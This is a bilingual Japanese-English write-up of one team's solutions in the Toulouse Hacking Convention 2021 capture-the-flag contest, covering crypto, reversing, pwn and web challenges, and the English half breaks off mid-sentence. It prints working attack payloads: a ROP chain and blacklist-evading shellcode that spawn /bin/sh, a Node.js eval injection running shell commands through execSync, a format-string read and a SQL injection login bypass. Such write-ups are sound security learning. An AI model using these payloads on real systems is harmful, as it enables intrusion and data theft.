English version is in the latter half of this page.
概要
Toulouse Hacking Convention 2021 (2021/06/12 16:00 ~ 2021/06/13 23:00 (JST)) に1人チームで参加した。
結果は1851点で、正の点数を取った374チーム中27位だった。
解けた問題と時刻は以下のようになった。
Challenge | Category | Value | Time (JST) |
---|---|---|---|
Rsa internal attacker | cryptography | 206 | 6/12 20:21:02 |
Living QR Code | programmation | 50 | 6/12 20:30:25 |
ELF x64 - Right on Time | reverse | 175 | 6/12 22:10:33 |
ELF x64 - BaseJumper CrackMe | reverse | 203 | 6/12 22:17:21 |
Unsafe Math | web | 226 | 6/12 22:29:36 |
SQL for dummies | Intro | 10 | 6/12 23:29:19 |
My first one time pad | Intro | 44 | 6/12 23:32:26 |
Blacklisted | Intro | 49 | 6/13 00:06:02 |
Clairvoyance | Intro | 50 | 6/13 01:17:34 |
Babyrop | pwn | 94 | 6/13 02:25:47 |
TUR-ROX-Y | reverse | 496 | 6/13 05:28:23 |
TUR-ROX-Z | reverse | 247 | 6/13 06:44:47 |
Welcome | Intro | 1 | 6/13 08:08:49 |
解けた問題
cryptography
Rsa internal attacker
Pythonのプログラムと、出力データが与えられた。
このプログラムは、以下をするものである。
- 1024ビットの素数2個
p, q
を作り、n=p*q
とする - この
p, q
に基づき、phi=(p-1)*(q-1)
と互いに素な適当な値e
と、phi
を法とするe
の逆数d
を2組生成する
この2組を(e_a, d_a), (e_b, d_b)
とする -
FLAG
をe_b
乗してn
で割った余りを求め、c
とする -
n, e_a, d_a, e_b, c
を出力する
d_a
はphi
を法とするe_a
の逆数なので、適当な整数alpha
を用いて
e_a * d_a = phi * alpha + 1
と表せる。
p, q
は1024ビットの素数なので、phi=(p-1)*(q-1)
は2048ビット程度になるはずである。
これに対し、e_a * d_a - 1
の2を底とする対数は約2060.08だったので、alpha
は12ビット程度であることがわかる。
alpha
を1 << 11
から1 << 13
で全探索して与えられたe_b
からd_b
を求め、
c
をd_b
乗してn
で割った余りを計算してみた。
その結果、多くの候補が見つかったが、その中にflagがあった。
なお、与えられたプログラムには
FLAG = b"THC2021{??????????????????????????????????????}"
とあったが、実際のflagはTHC2021
で始まらず、これは罠だった。
なお、今回はRuleにもflagの形式は載っていなかった。
探索プログラム
n = 0x8d926c44899930f8f3fc3ea04cb9dfa7eb309b6d8e932b531007c4d8479e1dd227365087feeced8f854b1b54cc947182ee2241fe526c758e630b44e0c196ce8dc0995124f94755b0601d3454f89f178db2ffb3adeafcac2f49b656aace2acdb63afcd62a8847aadc55ca2452dff8c65ea5bfcfe03411f3b63a2bc4b244126259e2e845c68f8c1cd2d275bd2e344d35da542503c72f153ded14f766efecdfc98605e6963c4b1a7197de9e56b4b61ca1ab648265e6775819935a005a089eff04c27083d385e8d73ebf56b47f875c5fa9984e026914e1cbfc02205e75d02dc0da392700b536bf0fc8decd043736441e69fecc696b2127589f2ac9700e30c4dc88ef
e_a = 0x8095
d_a = 0x21a31ccbce8117f468e9c26e3a404659d585ea166606c85ff192466b8dd4d9650b110addef35e3effdf8cb8710235cf5843e688e977be0d32842e0b4fa493f451ad8d77d35672696cf4373eaa0c0093a6a0baa348f790fc466be559bd90e788505b795026df6e991f6e8769565e06f472a445676e2c99240eccab25cd44433e8a083e66912c7a81c81c190470188c699c1a24dac441956b46aa364623f2c78c4ffca49e89f8a6f6edc51140e744f80a968fa80901fc91b88d491829b334542fd3ef460ddfa9a729d981b0ae9fa12bd0901c919972020b5f9e661b34a914fff85732e45718a2d216018507e7406aed4543096df76ca6fcfa4ab5dd21a84f162fd
e_b = 0x22bb
c = 0x2118ee5b546b529c6b8d8fba1638f046006d7de2c10571d179af958f65d223a9a78df91daa5913f39f97d47681e1e10b8c58b6b462caf1fd56c683129ea732927cf55a06441cde5b743d00582569c9bbf43dab3d7b46ddbf03b358ca6ee075bafcc06165efa8592474bf78732dec4433502579338f2b925a922e74704cf19f7dff414a451fbc24b4ace4a9d8a072fb4259ebc8452941eb9f100f1df0cf19d5718088867a17d52d1c3f1fd5f92c9b9c55cbe528fbfd130879c14bde651a9e402f50b851c753e5915882b02a1136b43e015c6d4fd07e48aa05be08e9faf533a763f21d29a9b7fe8f355a8ffcbf11dc96b1069df4e302a3b310ecf39f25300bb375
# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
if b == 0:
return (1, 0)
s, t = kago(b, a % b)
return (t, s - (a // b) * t)
x = e_a * d_a
key = "0x544843323032317b"
for i in range(1 << 11, 1 << 13):
if (x - 1) % i == 0:
candidate = (x - 1) // i
if x % candidate == 1:
d_candidate, _ = kago(e_b, candidate)
if (d_candidate * e_b) % candidate == 1:
decrypted = pow(c, d_candidate, n)
hex_d = hex(decrypted)
if True or hex_d[0:len(key)] == key:
print ("i = " + str(i))
print("candidate = " + str(candidate))
print(hex(decrypted))
このプログラムは計算結果を16進数で出力するので、CyberChefの From Hex で文字列にした。
THCon21{coMm0n_m0duLus_wh1th_int3rn4l_aTt4ck3r}
pwn
Babyrop
TCPサーバの接続情報と、そこで動いているELFファイルが与えられた。
ELFファイルをTDM-GCCのobjdump
で逆アセンブルして観察した結果、以下の関数を実行していた。
実行している関数
0000000000401196 <main_function>:
401196: f3 0f 1e fa endbr64
40119a: 55 push %rbp
40119b: 48 89 e5 mov %rsp,%rbp
40119e: 48 83 ec 20 sub $0x20,%rsp
4011a2: 48 8d 3d 79 0e 00 00 lea 0xe79(%rip),%rdi # 402022 <_IO_stdin_used+0x22>
4011a9: e8 c2 fe ff ff callq 401070 <puts@plt>
4011ae: 48 8b 15 ab 2e 00 00 mov 0x2eab(%rip),%rdx # 404060 <stdin@@GLIBC_2.2.5>
4011b5: 48 8d 45 e0 lea -0x20(%rbp),%rax
4011b9: be 00 01 00 00 mov $0x100,%esi
4011be: 48 89 c7 mov %rax,%rdi
4011c1: e8 ba fe ff ff callq 401080 <fgets@plt>
4011c6: 90 nop
4011c7: c9 leaveq
4011c8: c3 retq
これは、まずputs
で文字列を出力した後、fgets
を用いて0x20バイトの領域に0x100バイトまで読み込む関数である。
さらに、.plt.sec
にはexecve
関数 (0x401090) が用意されていた。
また、バイナリ中には
This might be useful: /bin/sh
として/bin/sh
という文字列がファイル中の0x201Aバイト目(0-origin)から埋め込まれていた。
問題名からROPをすることが期待されており、execve("/bin/sh", 0, 0)
を実行できればいいことが起こりそうだ。
gadgetを探した所、
12c3 : pop rdi; ret
12c1 : pop rsi; pop r15; ret
が見つかったが、第3引数のrdx
に値を書き込めそうな部分は見つからなかった。
CS50 IDE のGDB上で試した所、明示的にセットしなくてもrdx
には0が入りそうだったので、
rdx
のセットは省略してデータを送ることにした。
具体的には、以下のデータをTCP/IPテストツールで送った。
0123456789abcdef0123456789abcdef (バッファを埋める適当なデータ)
######## (古いRBPの分の適当なデータ)
<c3><12><40><00><00><00><00><00> (pop rdi; ret のアドレス)
<1a><20><40><00><00><00><00><00> (rdi にセットする値)
<c1><12><40><00><00><00><00><00> (pop rsi; pop r15; ret のアドレス)
<00><00><00><00><00><00><00><00> (rsi にセットする値)
<00><00><00><00><00><00><00><00> (r15 にセットする値)
<90><10><40><00><00><00><00><00> (execve 関数のアドレス)
<LF> (fgets 関数による読み込みを終了させる)
1行にすると
0123456789abcdef0123456789abcdef########<c3><12><40><00><00><00><00><00><1a><20><40><00><00><00><00><00><c1><12><40><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><90><10><40><00><00><00><00><00><LF>
これを送信した結果、シェルの操作が可能になり、cat flag.txt
コマンドによりflagが得られた。
THCon21{4Ll_0f_Th47_t0_c0ntR0L-RDx?!??}
reverse
ELF x64 - Right on Time
ELFファイルが与えられた。
TDM-GCCのobjdump
で逆アセンブルして観察した結果、main
関数は以下の処理をしていた。
-
movb
命令を用い、スタック上にランダムな順番でデータを構築する -
time
関数で時刻を取得し、下位32ビットを反転(ビットNOT)する - 第1コマンドライン引数を
atoi
関数で数値に変換する - 2と3の結果が一致した場合、"the flag"と称して謎の文字列を出力する。
以下のプログラムを用いて逆アセンブル結果からmovb
命令で構築されているデータを復元した結果、
0x00区切りで以下の3個のデータが得られた。
4B5A4357515244434749324853544B594F524C45344D44514A424B455157535A4D455957593654424746424559544B454D524B5536524C504F354957595753454C4959575936535A4B354A464B57544B4C4532564533525148553D3D3D3D3D3D
n*ICE-4uRVZ}}6TuqY&x-i+h%*Z8_@B`OhEy=T3|PeQ.Hmo>v)CuI/gkSx|%m7Xzz5eBPpkk5wU4nvMZdM(LS>nl_cIINw5Hdpsv;MU$+ktdCam{D1k>*lnZZ$qe:x`]>6M-St(r)@|M}j{$f6t>443O(/b{0I?-A9PqMm$eU!Z[-Bx$V@65QIaeTuD)cX1CX>gZG@<4`-3^!taoob:+W. 9H
6
データを復元するプログラム
#!/usr/bin/perl
use strict;
use warnings;
my @data = ();
while (my $line = <STDIN>) {
if ($line =~ /movb +\$(0x[0-9a-fA-F]+),-(0x[0-9a-fA-F]+)\(\%rbp\)/) {
push(@data, "$2\t$1");
}
}
my @data_s = sort {
my ($a1, $a2) = split(/\t/, $a);
my ($b1, $b2) = split(/\t/, $b);
return hex($b1) <=> hex($a1);
} @data;
my @ress = ();
my $res = "";
for (my $i = 0; $i < @data_s; $i++) {
print "$data_s[$i]\n";
my ($pos, $value) = split(/\t/, $data_s[$i]);
my $ivalue = hex($value);
if ($ivalue == 0) {
push(@ress, $res);
$res = "";
} else {
$res .= chr($ivalue);
}
}
push(@ress, $res);
for (my $i = 0; $i < @ress; $i++) {
print "$ress[$i]\n";
}
"the flag"と称して出力されるのは、このうち4B5A
で始まる文字列であった。
CyberChefでこの文字列に From Hex と Magic をかけたところ、flagが得られた。
Magic の Recipe は
From_Base32('A-Z2-7=',false)
From_Base64('A-Za-z0-9+/=',true)
となった。
THCon21{U7JGLvXkYskPK07T8J0BVCgYsadTf69F}
ELF x64 - BaseJumper CrackMe
ELFファイルが与えられた。
TDM-GCCのobjdump
で逆アセンブルして観察した結果、
問題 ELF x64 - Right on Time のものに似た大量のmovb
命令が出てきた。
そこで、この問題と同様にデータを復元したところ、以下の文字列が得られた。
4B5A4357515244434749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D
@^TfvjUZ/<Br2N[a*x#5iPB6wFk7=^#>[^zQ.:L($#2gZ{@#}8L4sT!QmZ@Zoz3v!;^3,B9M@Mg.:. y0$-utkB4kL^js;TB(XAf%g[j YMF}=nh0=0zbex <o]y9lr;|fSlk`G?:Wx^B,YRz+rv]23kq8Qro>[5GXMQL?9U}3B% W1-;=^~&nhHg,i;<XDM5:~odeLj@~o*OA{OW})1gu
K
このうち4B5A
で始まる文字列に対し、同様にCyberChefで From Hex と Magic をかけたところ、flagが得られた。
THCon21{QKSSmE7I8GlSHYmOYHMxIv9okULEPMIU}
TUR-ROX-Z
ファイル THCON21Z.ZZT
が与えられた。
問題 TUR-ROX-Y と同様にゲームを起動すると、以下の画面になった。
右の白い人に触ると、integrated level editor があることを教えてくれた。
上の黄色い人に触ると、flagを見つけられなければ全宇宙が巻き戻る的な話をしてくれた。
上に行くと、以下の画面になった。
左に行くと、以下の画面になった。
さらに左に行くと、以下の画面になった。
どうやら、上の画面の謎を解かないといけないようだ。
ここで、integrated level editor があるという情報と、言語のリファレンスが紹介されているということに注目した。
結論から言えば、上の画面を編集モードで開き、設定を見たり手を加えたりすることで、謎解きの手がかりになった。
画面中央の?
のまわりを囲っている黄色い壁を消すことで、?
に触れるようになり、これで状態を見ることができる。
右側の赤で囲まれた黒い四角の中には、編集モードだと隠された壁とオブジェクトがあることがわかったので、
それぞれ見えるように書き換えた。
また、それぞれの!
、逆向きの!
、左側の顔にプログラムが割り当てられていたので、チェックした。
青い部分では、左側の逆向きの!
を押すとGemが1ずつ増える。
右側の逆向きの!
を押すと、一度目はGemが4個減り、二度目に押した時にGemが0個ならば成功状態になる。
よって、左側の逆向きの!
を4回押した後、右側の逆向きの!
を2回押せばよい。
赤い部分では、左側の逆向きの!
を押すと右側の四角の中のオブジェクトが上に1マス、
右側の逆向きの!
を押すと右側の四角の中のオブジェクトが右に1マス動く。
これらを用い、オブジェクトを右上の行き止まりまで動かすことで、成功状態になる。
すなわち、左側を2回、右側を4回、左側を2回、右側を2回の順で押せばよい。
緑の部分では、リファレンスも参考にしつつプログラムを読み解くことを要求された。
左側の逆向きの!
を押すと、#zap Checker12:lblMulti
が実行される。
右側の逆向きの!
を押すと、#restore Checker12:lblMulti
が実行される。
さらに、左の顔に触ると、Checker12
にlblMulti
が送られる。
Checker12
とは上の!
のことであり、以下のプログラムが割り当てられている。
`Checker12` のプログラム
@Checker12
#end
:lblMulti
#set flagOkA1
#zap lblMulti
#send lblMulti
' "set OK A1"
#end
:lblMulti
:lblMulti
:lblMulti
:lblMulti
:lblMulti
:lblMulti
#set flagFailA
' "pwnz 2 zzzz
#send GlobCheck:lblBack12
#end
:lblMulti
#set flagOkA2
' "gg !"
#send GlobCheck:lblBack12
#end
:lblMulti
:lblMulti
#set flagFailA
' "pwnz last"
#send GlobCheck:lblBack12
#end
リファレンスより、#zap
はラベル(:
で始まる行)1個をコメントにして無効化するコマンド、
#restore
は無効化されたラベル1個を復活させるコマンドである。
結論としては、
- 左の逆向きの
!
を7回押し、#set flagOkA2
の前の:lblMulti
を露出させる - 右の逆向きの
!
を1回押し、最初の:lblMulti
を復活させる - 他の部分の状態を整え、左側の顔を押す
という操作をすることで、#set flagOkA1
と#set flagOkA2
の両方を通り、成功状態にできた。
最終的には以下の状態で正解となり、
最初の画面の文字とこの状態でのそれぞれの逆向きの!
の位置を組み合わせることで、flagが得られた。
THCon21{Z824753}
TUR-ROX-Y
ファイル THCON21Y.ZZT
が与えられた。
まず、「zzt」でググった結果、MS-DOSのゲームであることがわかった。
ZZT - Wikipedia
本体は GitHub - asiekierka/reconstruction-of-zzt: The Reconstruction of ZZT
動かすためのエミュレータは zeta
で入手できた。
zetaを解凍したディレクトリに、ゲーム本体を解凍したデータと問題のファイルを入れて動かす。
ゲームを起動すると、以下の画面になった。
右に行くと、以下の画面になった。
上に行くと、以下の画面になった。なお、時間が経つと画面が崩れていった。
下に行くと、以下の画面になった。なお、左下のhashの情報は時間が経つと崩れた。
ここからさらに左に行くと、以下のような感じで26ページにわたってコードが表示される場所になっていた。
そこで、このコード(PuzzleScript)を気合で写経した。
下の画面の情報を参考に、
PuzzleScript - an open-source HTML5 puzzle game engine
を開いて Make A Game を押し、開いた画面の左側に写経したコードを貼り付けて画面上部の RUN を押すことで、
また別のゲームが始まった。
これは、8個のスイッチを操作するとそれに対応して上にある5個の絵が変わるので、
うまくスイッチを操作して5個全部を紫にするというゲームである。
最初の面は手動で試行錯誤することでクリアできたが、次はなかなか突破できなそうだった。
そこで、Hot Soup Processorを利用し、キーボード操作を自動化してスイッチのパターンを全探索した。
この全探索では、常に1ビット切り替えるだけで次の状態へ行けるグレイコードを利用することで、
切り替え操作の手間を減らした。
全探索(自動操作)プログラム
プレイヤーが右端のスイッチの下にいる状態でこのプログラムを起動し、
3秒以内にキー操作がゲームに伝わる状態にする。
#include "hspext.as"
gsel 0, 2
mes "start after 3 sec."
wait 300
aplfocus
KEY_LEFT = 37
KEY_UP = 38
KEY_RIGHT = 39
x = 7
value = 0
for i, 0, 256, 1
target = i ^ (i >> 1)
for j, 0, 8, 1
if (((target ^ value) >> (7 - j)) & 1) != 0 {
while x > j
aplkey KEY_LEFT
x = x - 1
wait 1
wend
while x < j
aplkey KEY_RIGHT
x = x + 1
wait 1
wend
aplkey KEY_UP
wait 1
}
next
value = target
title strf("%3d", i) + " / " + strf("%02X", target)
wait 50
next
このゲームは3面あり、それぞれ以下の状態が正解であった。
ステージ1 | ステージ2 | ステージ3 |
---|---|---|
ゲーム内のメッセージに従い、ここまで得られた情報を以下の位置に組み合わせることで、flagが得られた。
- 最初の画面:
THCon21{Y...}
- PuzzleScriptを改行コードLF、最後の改行なしにした時のSHA-256ハッシュの最後の2文字:
THCon21{-95----}
- ゲームのステージ2クリア時の表示:
THCon21{---E5--}
- ゲームのステージ3クリア時の表示:
THCon21{-----CD}
THCon21{Y95E5CD}
Windows
残念ながら解けた問題は無かった。
steganography
残念ながら解けた問題は無かった。
web
Unsafe Math
WebページのURLと、そのページのサーバのプログラム index.js
が与えられた。
Webページには、width
とheight
の入力欄(type="number"
)と、Submitボタンがあった。
index.js
は、データがPOSTされた時、
width.length
とheight.length
がそれぞれ10以下かをチェックした上で、
eval('(' + width + '**2 + ' + height + '**2) ** (1/2);')
の評価結果を返すものだった。
San Diego CTF 2021 の GETS Request で学んだように、
length
プロパティは配列を渡すと1になり、チェックを無効化できる。
Node.jsからシェルコマンドを実行する - BppLOG
より、execSync
関数を使うことで、コマンドを実行して結果を受け取れるようである。
これを利用してコマンドを実行し、調査を行った。
まず、フォームの
<input name="width" type="number" min="0">
を、Firefoxの開発者ツールで
<input name="width[]" type="text" min="0">
に書き換えた。
この欄に
require('child_process').execSync("ls /")).toString() + (1
を、height
の欄には1
を入れてSubmitボタンを押すことで、ls /
の実行結果を得ることができた。
以下、height
の欄には1
を入れることにする。
実行結果にはchall
があったため、次にwidth[]
の欄に
require('child_process').execSync("ls /chall")).toString() + (1
を入れてSubmitボタンを押し、ls /chall
の実行結果を得た。
その中にsec9et_fl46.txt
があったため、width[]
の欄に
require('fs').readFileSync("/chall/sec9et_fl46.txt", "utf-8")).toString() + (1
を入れて送信することで、このファイルを読み、flagを得ることができた。
ファイルの読み方については、ここが参考になる。
[node.js] テキストファイルを読みこみ - Qiita
THCon21{t34cHiN6_1s_N0t_sO_3@sY}
app script
残念ながら解けた問題は無かった。
programmation
Living QR Code
ファイル living_QR.gif
が与えられた。
これはGIFアニメーションであった。
Giamで開いてみると、41コマあり、各コマにそれぞれ1個ずつQRコードがあった。
Psytec QR Code Editor を用いて手動で1コマずつ読み取り、結果を順番に並べることで、flagが得られた。
THCon21{Ba5ukumqmZIVJ2onznXkfY61YS7Cxdi6}
「QRコード」は(株)デンソーウェーブの登録商標です。
Intro
Welcome
Discordの招待リンクが与えられた。
Webブラウザからサーバに参加してflagを探したところ、
チャンネル#📄-règles
および#📄-rules
の画面上部と「始まりです。」の右にflagが書かれていた。
画面上部をクリックすると、flagがコピーできる形で表示された。
THCon21{H31l0_th3re!}
SQL for dummies
WebページのURLが与えられた。
Webページは、
- Username の入力欄
- Password の入力欄
- Log In ボタン
からなるフォームだった。
Usernameに ' or 1=1 --
、Passwordに a
を入力して Log In ボタンを押すと、flagが表示された。
THCon21{eA3y*QL_1nject0R}
My first one time pad
以下のファイル plaintext.txt
および encrypted.txt
が与えられた。
I encrypted a secret flag with one time pad, the result here: 092224674e49392d631f0f5611124274193157441a2e5c2d494e1c1c2d560b204751
064e004e171b141554150544414900450a1c4500480303131e00070c060e450c1a49003d491e0d4f050d000c48151e000007161655181c45480e171c1a4f
また、問題文は
I encrypt my flag with a secret key, unfortunately I also encrypted the whole file with the same key could you retrieve the flag ?
とのことである。
ワンタイムパッドでの暗号化は平文と鍵のxorのはずなので、暗号文と平文をxorすれば鍵が出てくる。
CyberChefを用い、Input を plaintext.txt
の内容として、
- Keyを
encrypted.txt
の内容(HEX)としてXOR - Keyを
plaintext.txt
のthe result here:
の後のやつ(HEX)としてXOR
をすることで、flagが得られた。
THCon21{1Tp_w0rK3_0nly_0nC3}
Blacklisted
TCPサーバの接続情報と、そこで動いているELFファイルが与えられた。
ELFファイルをTDM-GCCのobjdump
で逆アセンブルして読むと、以下の処理をしているようだった。
- メッセージを出力する
-
read
関数を用いて入力を読み込む -
strncpy
関数を用いて入力をコピーする -
check_blacklist
関数で入力のコピーをチェックする - チェックが通れば、
callq
命令で入力のコピーを実行する
また、ELFファイルをバイナリエディタで開くと、以下の文字列が見えた。
/bin/
/tmp/
flag.txt
sh
[-] Error while allocating shellcode area
Please feed me (%d bytes max):
[-] Error while reading input.
このことから、シェルコードの入力を求められており、
かつ入力が/bin/
、/tmp/
、flag.txt
、sh
のいずれかを含むと弾かれそうだと推測できた。
さらに、strncpy
を用いているため、バイト0x00を含むと切れてしまうことにも注意が必要である。
これらを踏まえ、以下のシェルコードをNASMでアセンブルし、
Tera Termのファイル送信(ファイルの内容を貼り付け) (バイナリ)で送ることで、シェルの操作が可能になった。
さらに、コマンド cat flag.txt
を実行することで、flagが得られた。
シェルコード
bits 64
mov rax, 0x2F62696E2F736820 ; /bin/sh
sub rax, 0x20
bswap rax
push rax
mov al, 59
movzx eax, al
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall
アセンブル結果:
48 b8 20 68 73 2f 6e 69 62 2f 48 83 e8 20 48 0f
c8 50 b0 3b 0f b6 c0 48 89 e7 31 f6 31 d2 0f 05
THCon21{w3ll_s0_y0u_sp34K_P4r53l70ngu3??}
Clairvoyance
TCPサーバの接続情報と、そこで動いているELFファイルが与えられた。
ELFファイルをTDM-GCCのobjdump
を逆アセンブルして読むと、以下の処理をするものだった。
-
read_flag
関数を呼び出し、flag.txt
の内容を0x404080番地に読み込む -
fgets
関数を呼び出し、スタック上に0x1fバイトまで読み込む -
fgets
関数を呼び出し、スタック上に0x7バイトまで読み込む - 2番目に読み込んだ内容が
yes
であれば、最初に読み込んだ内容をprintf
関数の第1引数に渡す
2のところで
%p%p%p%p%p%p%p%p%p%p%p%p%p%p
を入れると、以下の出力が得られた。 (見やすいように改行を補っている)
0x7fff68c0a370
0x7fc2287088c0
(nil)
0x1f
0x7fc2287088d0
0x7fff68c0cb38
0x100401365
0x7fc22871cb40
0xa736579
0x7025702570257025
0x7025702570257025
0x7025702570257025
0xa70257025
0x401320
ここで、10番目から入力した内容が見えていることに注目する。
入力した内容はスタックに置かれるため、printf
関数が出力する内容を読み出す場所と被っているのである。
この性質の発見には、ここが参考になった。
日記: CTF やってみた(3)|zk_phi|note
printf
の第1引数は文字列であるため0x00のバイトで止まることに注意し、TCP/IPテストツールで
%11$s###<80><40><40><00><00><00><00><00><LF>
を送ったところ、flagが得られた。
THCon21{y0u_jUsT__n33d_t0_0p3n_Y0uR_3y35!}
About
I participated in Toulouse Hacking Convention 2021 (June 12, 2021 16:00 - June 13, 2021 23:00 (JST: UTC+9)) as a one-person team.
I earned 1851 points and ranked 27th among 374 teams that earned positive score.
Challenges I solved and time that I solved them on are:
Challenge | Category | Value | Time (JST: UTC+9) |
---|---|---|---|
Rsa internal attacker | cryptography | 206 | 6/12 20:21:02 |
Living QR Code | programmation | 50 | 6/12 20:30:25 |
ELF x64 - Right on Time | reverse | 175 | 6/12 22:10:33 |
ELF x64 - BaseJumper CrackMe | reverse | 203 | 6/12 22:17:21 |
Unsafe Math | web | 226 | 6/12 22:29:36 |
SQL for dummies | Intro | 10 | 6/12 23:29:19 |
My first one time pad | Intro | 44 | 6/12 23:32:26 |
Blacklisted | Intro | 49 | 6/13 00:06:02 |
Clairvoyance | Intro | 50 | 6/13 01:17:34 |
Babyrop | pwn | 94 | 6/13 02:25:47 |
TUR-ROX-Y | reverse | 496 | 6/13 05:28:23 |
TUR-ROX-Z | reverse | 247 | 6/13 06:44:47 |
Welcome | Intro | 1 | 6/13 08:08:49 |
Challenges I solved
cryptography
Rsa internal attacker
A Python program and its output data were given.
The program does the following:
- Generate two 1024-bit prime numbers
p, q
and setn=p*q
- Using these
p, q
, generate two pairs of a random valuee
which is co-prime tophi=(p-1)*(q-1)
andd
which is a reciprocal ofd
modulophi
. Name these pairs as(e_a, d_a)
and(e_b, d_b)
. - Calculate
FLAG
to thee_b
-th power modulon
and name it asc
. - Output
n, e_a, d_a, e_b, c
.
Since d_a
is a reciprocal of e_a
modulo phi
, it can be expressed using some integer alpha
:
e_a * d_a = phi * alpha + 1
p
and q
are 1024-bit prime numbers, so phi=(p-1)*(q-1)
should be around 2048 bits.
On the other hand, the binary logarithm of e_a * d_a - 1
was about 2060.08, so the alpha
should be about 12 bits.
Seeing this, I obtained d_b
from the e_b
given and calculated c
to the d_b
-th power modulo n
using each alpha
from 1 << 11
to 1 << 13
.
Many candidates were found by that, and one of them was the flag.
By the way, the program given had a line:
FLAG = b"THC2021{??????????????????????????????????????}"
but the actual flag didn't begin with THC2021
.
Also the format of the flag was not in the Rule.
The program to search for the proper `alpha`
n = 0x8d926c44899930f8f3fc3ea04cb9dfa7eb309b6d8e932b531007c4d8479e1dd227365087feeced8f854b1b54cc947182ee2241fe526c758e630b44e0c196ce8dc0995124f94755b0601d3454f89f178db2ffb3adeafcac2f49b656aace2acdb63afcd62a8847aadc55ca2452dff8c65ea5bfcfe03411f3b63a2bc4b244126259e2e845c68f8c1cd2d275bd2e344d35da542503c72f153ded14f766efecdfc98605e6963c4b1a7197de9e56b4b61ca1ab648265e6775819935a005a089eff04c27083d385e8d73ebf56b47f875c5fa9984e026914e1cbfc02205e75d02dc0da392700b536bf0fc8decd043736441e69fecc696b2127589f2ac9700e30c4dc88ef
e_a = 0x8095
d_a = 0x21a31ccbce8117f468e9c26e3a404659d585ea166606c85ff192466b8dd4d9650b110addef35e3effdf8cb8710235cf5843e688e977be0d32842e0b4fa493f451ad8d77d35672696cf4373eaa0c0093a6a0baa348f790fc466be559bd90e788505b795026df6e991f6e8769565e06f472a445676e2c99240eccab25cd44433e8a083e66912c7a81c81c190470188c699c1a24dac441956b46aa364623f2c78c4ffca49e89f8a6f6edc51140e744f80a968fa80901fc91b88d491829b334542fd3ef460ddfa9a729d981b0ae9fa12bd0901c919972020b5f9e661b34a914fff85732e45718a2d216018507e7406aed4543096df76ca6fcfa4ab5dd21a84f162fd
e_b = 0x22bb
c = 0x2118ee5b546b529c6b8d8fba1638f046006d7de2c10571d179af958f65d223a9a78df91daa5913f39f97d47681e1e10b8c58b6b462caf1fd56c683129ea732927cf55a06441cde5b743d00582569c9bbf43dab3d7b46ddbf03b358ca6ee075bafcc06165efa8592474bf78732dec4433502579338f2b925a922e74704cf19f7dff414a451fbc24b4ace4a9d8a072fb4259ebc8452941eb9f100f1df0cf19d5718088867a17d52d1c3f1fd5f92c9b9c55cbe528fbfd130879c14bde651a9e402f50b851c753e5915882b02a1136b43e015c6d4fd07e48aa05be08e9faf533a763f21d29a9b7fe8f355a8ffcbf11dc96b1069df4e302a3b310ecf39f25300bb375
# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
if b == 0:
return (1, 0)
s, t = kago(b, a % b)
return (t, s - (a // b) * t)
x = e_a * d_a
key = "0x544843323032317b"
for i in range(1 << 11, 1 << 13):
if (x - 1) % i == 0:
candidate = (x - 1) // i
if x % candidate == 1:
d_candidate, _ = kago(e_b, candidate)
if (d_candidate * e_b) % candidate == 1:
decrypted = pow(c, d_candidate, n)
hex_d = hex(decrypted)
if True or hex_d[0:len(key)] == key:
print ("i = " + str(i))
print("candidate = " + str(candidate))
print(hex(decrypted))
This program outputs the results in hexadecimal, so I converted them to string via "From Hex" in CyberChef.
THCon21{coMm0n_m0duLus_wh1th_int3rn4l_aTt4ck3r}
pwn
Babyrop
Information to connect to a TCP server and an ELF file running there were given.
I disassembled the ELF file via objdump
from TDM-GCC, and found that it executes the following function:
The function executed
0000000000401196 <main_function>:
401196: f3 0f 1e fa endbr64
40119a: 55 push %rbp
40119b: 48 89 e5 mov %rsp,%rbp
40119e: 48 83 ec 20 sub $0x20,%rsp
4011a2: 48 8d 3d 79 0e 00 00 lea 0xe79(%rip),%rdi # 402022 <_IO_stdin_used+0x22>
4011a9: e8 c2 fe ff ff callq 401070 <puts@plt>
4011ae: 48 8b 15 ab 2e 00 00 mov 0x2eab(%rip),%rdx # 404060 <stdin@@GLIBC_2.2.5>
4011b5: 48 8d 45 e0 lea -0x20(%rbp),%rax
4011b9: be 00 01 00 00 mov $0x100,%esi
4011be: 48 89 c7 mov %rax,%rdi
4011c1: e8 ba fe ff ff callq 401080 <fgets@plt>
4011c6: 90 nop
4011c7: c9 leaveq
4011c8: c3 retq
This function prints some strings via puts
and read at most 0x100 bytes in a 0x20-byte region via fgets
.
Also, there was the execve
function (0x401090) in the .plt.sec
.
Also, the binary file had a string /bin/sh
from the 0x201A-th byte (the first byte is 0th).
This might be useful: /bin/sh
The name of the challenge was suggesting that I should do some ROP.
Something useful should happen when I succeed to execute execve("/bin/sh", 0, 0)
.
Searching for the gadgets, I found:
12c3 : pop rdi; ret
12c1 : pop rsi; pop r15; ret
But I couldn't found gadgets to write values to rdx
, which is used as the 3rd argument.
Trying on the GDB in CS50 IDE, 0
looked stored to rdx
even when I didn't put it explicitly, so I decided to omit setting of rdx
and send some data to the server.
I sent this data via TCP/IPテストツール (Japanese page and software):
0123456789abcdef0123456789abcdef (some random data to fill the region)
######## (some random data for previous RBP)
<c3><12><40><00><00><00><00><00> (the address of pop rdi; ret)
<1a><20><40><00><00><00><00><00> (the value to put in rdi)
<c1><12><40><00><00><00><00><00> (the address of pop rsi; pop r15; ret)
<00><00><00><00><00><00><00><00> (the value to put in rsi)
<00><00><00><00><00><00><00><00> (the value to put in r15)
<90><10><40><00><00><00><00><00> (the address of the function execve)
<LF> (have the function fgets finish reading)
In one line:
0123456789abcdef0123456789abcdef########<c3><12><40><00><00><00><00><00><1a><20><40><00><00><00><00><00><c1><12><40><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><90><10><40><00><00><00><00><00><LF>
(<xx>
means a byte with the hexadecimal value and <LF>
means a byte 0x0A)
The shell became available after sending this.
I got the flag via a command cat flag.txt
.
THCon21{4Ll_0f_Th47_t0_c0ntR0L-RDx?!??}
reverse
ELF x64 - Right on Time
An ELF file was given.
I disassembled that via objdump
from TDM-GCC and examined the result, finding that the main
function does the following:
- Put some data on the stack in a random order via
movb
